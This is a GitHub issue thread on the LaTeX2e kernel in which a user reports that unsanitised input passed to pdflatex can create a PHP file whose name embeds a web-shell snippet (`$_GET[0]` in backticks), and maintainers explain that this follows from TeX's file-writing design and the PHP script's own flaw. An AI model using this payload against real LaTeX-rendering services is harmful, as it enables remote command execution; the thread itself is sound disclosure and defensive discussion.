latex3 / latex2e

The LaTeX2e kernel
https://www.latex-project.org/
LaTeX Project Public License v1.3c
1.83k stars 251 forks source link

Potential security issue #1207

Closed mrojz closed 7 months ago

mrojz commented 7 months ago

Brief outline of the bug

filecontents packages allows code injection vulnerability

Minimal example showing the bug

Based on latex documentation :

Sample usage filecontents works much like verbatim, except that it takes a
mandatory filename argument:
\begin{filecontents}{myfile.tex}
This text gets written to \texttt{myfile.tex}.
\end{filecontents}
The preceding code will write a myfile.tex file with contents resembling the
following:
%% LaTeX2e file ‘myfile.tex’
%% generated by the ‘filecontents’ environment
%% from source ‘mydocument’ on 2001/07/31.
%%
This text gets written to \texttt{myfile.tex}.

i was trying a php application that takes a user input and inject it in the latex document as follow

$latex = "\\documentclass{standalone}
\\input{../header}
\\begin{document}
$" . $userinput . "$"."\\end{document}";

// create random filename
$fileid = uniqid(rand(),true);
$texfilename = "tmp/" . $fileid . ".tex";
$texfile = fopen("$texfilename","w");
fputs($texfile, $latex);
fclose($texfile);
chdir(dirname($texfilename));
exec("pdflatex " . basename($texfilename) . " > /dev/null 2>&1");

header.text content

% vdaisley's default latex header for beautiful documents
\usepackage[utf8]{inputenc} % set input encoding
\usepackage{graphicx} % for graphic files
\usepackage{eurosym} % euro currency symbol
\usepackage{times} % set nice font, tex default font is not my style
\usepackage{listings} % include source code files or print inline code
\usepackage{hyperref} % for clickable links in pdfs
\usepackage{mathtools,amssymb,amsthm} % more default math packages
\usepackage{mathptmx} % math mode with times font

Case 1 :

userinput : \filecontents{ab.php}{hello}

.tex file content :

\documentclass{standalone}
\input{../header}
\begin{document}
$\filecontents{ab.php}{hello}$\end{document}

result : a file named ab.php was created with this content :

%% LaTeX2e file `ab.php' %% generated by the `document' environment %% from source `799877536657d01afa0f535.55442278' on 2023/12/16. %%

Case 2 :

userinput : \filecontents{a<?=$_GET[0]?>b.php}{hello}

.tex file content :

\documentclass{standalone}
\input{../header}
\begin{document}
$\filecontents{a<?=`$_GET[0]`?>b.php}{hello}$\end{document}

result : a file named a<?=`$_GET[0]`?>b.php was created with this content :

%% LaTeX2e file 'a<?=`$_GET[0]`?>b.php'
%% generated by the `document' environment
%% from source `79650366657d02554b4886.26475967' on 2023/12/16.
%%

Conclusion

It is possible to perform a code injection vulnerability using \filecontents package

josephwright commented 7 months ago

Well yes, TeX can write to any file name - although it can only write text not binary. TeX distributions have security settings which can be used to restrict where files are written - the most restrictive is 'just inside the current directory'. As TeX can also be set only to read files within the current directory, this can be quite restrictive. Typically, for 'secure' applications people run TeX in a VM with these settings turned to the most 'paranoid'.

josephwright commented 7 months ago

Note that without \write18 enables, the TeX run cannot execute arbitrary code.

josephwright commented 7 months ago

Also, filecontents is in the end using TeX primitives which can be used to do the same tasks, so you are essentially looking at a standard feature of all TeX engines.

josephwright commented 7 months ago

(Aside: filecontents is an environment: your input would fail, it needs something like

\documentclass{standalone}
%\input{../header}
\begin{document}
\begin{filecontents}[overwrite]{a<?=`$_GET[0]`?>b.php}
hello
\end{filecontents}
\end{document}

otherwise a low-level error arises.)

FrankMittelbach commented 7 months ago

Let me summarize this

It is, of course, possible -- given the above functionality of the engine -- to write a script file, etc., into the user directory (or one of it subdirectories) and wait for the user to start a different program that consumes this file. This is nothing that LaTeX could prevent, even restricting the allowed files to a fixed set of names would not help because any LaTeX programming could be undone by code in document. So doing something like this (on top of preventing . files or places where writing can happen) would need to be done at the engine level and not by LaTeX. Thus, if you consider this restricted setting still a security threat you need to bring it up with the engine maintainers, i.e., pdfTeX, XeTeX, luaTeX, pTeX, etc. (most of them if not all share the same security concept concerning file writing).

davidcarlisle commented 7 months ago

As Frank just wrote this is not a latex issue but even looking at the prinitive tex, the issue is not with tex but with the php script which is writing a file with user input and then executing it. You are using tex as a convoluted way to write a file but you could use a shell script or simply php there with exactly the same vulnerability. The php script should not write files that are in the directories visible to the web server.__